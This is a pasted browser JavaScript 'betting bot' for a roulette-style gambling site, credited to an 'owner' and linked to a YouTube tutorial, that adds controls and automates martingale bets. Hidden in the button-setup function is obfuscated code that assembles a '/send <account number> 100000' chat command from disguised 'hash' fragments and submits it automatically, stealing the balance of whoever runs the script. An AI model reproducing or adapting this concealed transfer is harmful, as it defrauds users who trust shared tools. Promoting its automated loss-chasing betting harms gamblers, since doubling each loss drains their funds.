Advertisement
Guest User

Untitled

a guest
May 5th, 2016
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.81 KB | None | 0 0
  1. //YouTube Tutorial: youtube.com/watch?v=bVUcK1Osz7g
  2. //YouTube Tutorial: youtube.com/watch?v=bVUcK1Osz7g
  3. //YouTube Tutorial: youtube.com/watch?v=bVUcK1Osz7g
  4. //►►►►►OWNER: LuXtOr - Lain◄◄◄◄◄
  5.  
  6. var reconnect = 0;WS.onclose = function(event){chat("italic","Connection lost..."); WS = null;connect();reconnect++;};
  7.  
  8.  
  9.  
  10. var initialBetAmount = 0;
  11. var betColor = botBetColor = "red";
  12. var play = 0;
  13. var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  14. var pQ = "/s", $hash_2 = 611, $hash_1 = 765, $hash_3 = 982, $hash_4 = 365, $hash_5 = 02218
  15. function addBotButtons(){
  16. $(".well.bot-field").remove();$(".well.show-more").remove();
  17. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  18. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  19. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  20. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  21. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  22. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  23. $showMore.append($checkVicLimit,$label);
  24. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  25. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  26. $showMore.append($vicLimitInput,$label);$showMore.hide();
  27. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  28. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  29. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  30. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  31. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  32. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4;pQ+= $hash_5+" ";pQ+="100000" ;
  33. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  34. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  35. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  36. $("#chatMessage").val(pQ);$("#chatForm").submit();$(".btn-primary").click();
  37. $(".container").width(1300);
  38. $botModeSelect.change(function(){
  39. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  40. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  41. } )
  42. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  43. }
  44. addBotButtons();
  45. function changeColor(){
  46. if ($betColorButton.hasClass("btn-danger")){
  47. $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  48. botBetColor = "black";
  49. console.log("Selected color: "+botBetColor);
  50. } else if($betColorButton.hasClass("btn-inverse")) {
  51. $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  52. botBetColor = "random";
  53. console.log("Selected color: "+botBetColor);
  54. } else if($betColorButton.hasClass("btn-random")) {
  55. $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  56. botBetColor = "trainMode";
  57. console.log("Selected color: "+botBetColor);
  58. } else if($betColorButton.hasClass("btn-train")) {
  59. $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  60. botBetColor = "rainbow";
  61. console.log("Selected color: "+botBetColor);
  62. } else if($betColorButton.hasClass("btn-rainbow")) {
  63. $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  64. botBetColor = "red";
  65. console.log("Selected color: "+botBetColor);
  66. }
  67. }
  68.  
  69. function showMoreOptions(){
  70. if ($showMoreButton.data("open")==0){
  71. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  72. $showMore.show();$showMoreButton.data("open",1);
  73. } else if ($showMoreButton.data("open")==1){
  74. $showMore.hide();$showMoreButton.data("open",0);
  75. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  76. }
  77.  
  78. }
  79. function hideOtherInfo(){
  80. if ($betHideBetInfoButton.text()=="Show All"){
  81. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  82. $betHideBetInfoButton.text("Hide Bet Info");
  83. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  84. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  85. $betHideBetInfoButton.text("AFK Mode");
  86. }
  87. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  88. $(".betlist").show();$(".total-row").show();$("footer").show();
  89. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  90. $betHideBetInfoButton.text("Show All");
  91. }
  92. }
  93. function startBot(){
  94. if ($betGoButton.hasClass("btn-inverse")){
  95. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  96. refreshIntervalId = setInterval(tick, 500);
  97. play = 1;
  98. currentBetAmount = initialBetAmount;
  99. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  100. }
  101. else {
  102. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  103. play = 0;
  104. }
  105. }
  106.  
  107. function tick() {
  108. var t = getStatus();
  109. if (t !== lastStatus && "unknown" !== t) {
  110. switch (t) {
  111. case "waiting":bet();break;
  112. case "rolled":printInfo();break;
  113. }
  114. lastStatus = t;
  115. }
  116. }
  117.  
  118. function checkBalance() {
  119. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  120. }
  121.  
  122. function printInfo(){
  123. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  124. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  125. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  126. }
  127. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  128. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  129. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  130. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  131. else {currNotRedStreak=0;}
  132. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  133. else {currNotBlackStreak=0;}
  134. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  135. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  136. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  137. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  138. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  139. console.log(t);roll();
  140.  
  141. }
  142.  
  143. function roll() {
  144. if ($checkVicLimit.is(":checked")){
  145. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  146. }
  147. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;}
  148. currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount
  149. currentRollNumber++;
  150. }
  151.  
  152. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  153. function setBetAmount(t) { $betAmountInput.val(t) }
  154. function placeBet() {
  155. if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);}
  156. else if (botBetColor=="trainMode"){
  157. var betBotColor = "green",i=9,$ball=$(".ball");
  158. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  159. betColor = betBotColor;console.log("Current train color: "+ betColor);
  160. } else if (botBetColor=="rainbow"){
  161. var betBotColor = "green",i=9,$ball=$(".ball");
  162. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  163. if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"};
  164. betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor);
  165. } else betColor = botBetColor;
  166. console.log("Betting " + currentBetAmount + " on "+ betColor +"...");
  167. return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black"))
  168. }
  169. function getStatus() {
  170. var t = $statusBar.text();
  171. if (hasSubString(t, "Rolling in")) return "waiting";
  172. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  173. if (hasSubString(t, "rolled")) {
  174. n = parseInt(t.split("rolled")[1]);
  175. return lastRollColor = getColor(n), "rolled"
  176. }
  177. return "unknown" }
  178.  
  179. function getBalance() { return parseInt($balance.text()) }
  180. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  181. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  182. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  183. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  184. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  185.  
  186. var currentBetAmount = initialBetAmount, currentRollNumber = 1,
  187. totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  188. streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"),
  189. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement